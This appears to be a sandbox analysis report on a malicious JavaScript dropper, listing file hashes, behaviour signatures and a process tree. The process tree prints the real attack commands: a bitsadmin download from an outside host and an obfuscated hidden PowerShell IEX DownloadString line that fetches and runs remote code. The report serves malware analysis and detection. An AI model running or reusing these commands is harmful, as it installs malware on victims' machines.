Analysis

  • max time kernel
    139s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-08-2024 18:19

General

  • Target

    New_Document-#3765618.js

  • Size

    441KB

  • MD5

    c7e47553b94c0d18ecf9e03b5ffec68b

  • SHA1

    bfb60db9ad9e0bd41ee2335acaa6316264c0b638

  • SHA256

    8ed7810c7c48d274f4b845cb155ab61af9ac0297fceb2f356ad5557434977b5a

  • SHA512

    5a624285b1d9179939495c0f2baa4ecfb7cc9561098977be825ab83b6c90d5e86b4571f5cfa603d9e5e2be76b8e84153a607f26b4263cbff908bb5aca2201194

  • SSDEEP

    384:JeeeeeeeeeeeRReeeeeeeeeeeReeeeeeeeeeezeeeeeeeeeee8eeeeeeeeeeeRe4:Heo

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\New_Document-#3765618.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1708
    • C:\Windows\System32\bitsadmin.exe
      "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://aeroox.000webhostapp.com/mes/010111100110101101001111111101011011100101011110 C:\Users\Admin\AppData\Local\Temp\pmqfgkdqzsbsvsamfrryrizflqdvvwqqctmqvepuyuplixbkjbforifcqtpxeylsnfsloatiuqykwi
      2⤵
      • Download via BitsAdmin
      PID:3432
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" //E:VBScript C:\Users\Admin\AppData\Local\Temp\pmqfgkdqzsbsvsamfrryrizflqdvvwqqctmqvepuyuplixbkjbforifcqtpxeylsnfsloatiuqykwi
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:3560
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WIND HIDDeN -eXeC BYPASS -NONI Sleep 2;[BYTe[]];$g45e='IeX(NeW-OBJeCT NeT.W';$df54='eBCLIeNT).DOWNLO';$5s4d='zalooma(''https://aeroox.000webhostapp.com/mes/'')'.RePLACe('zalooma','ADSTRING');Sleep 1;IeX($g45e+$df54+$5s4d);
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2840

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1q1mas01.eup.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2840-0-0x0000027EF3D70000-0x0000027EF3D92000-memory.dmp

    Filesize

    136KB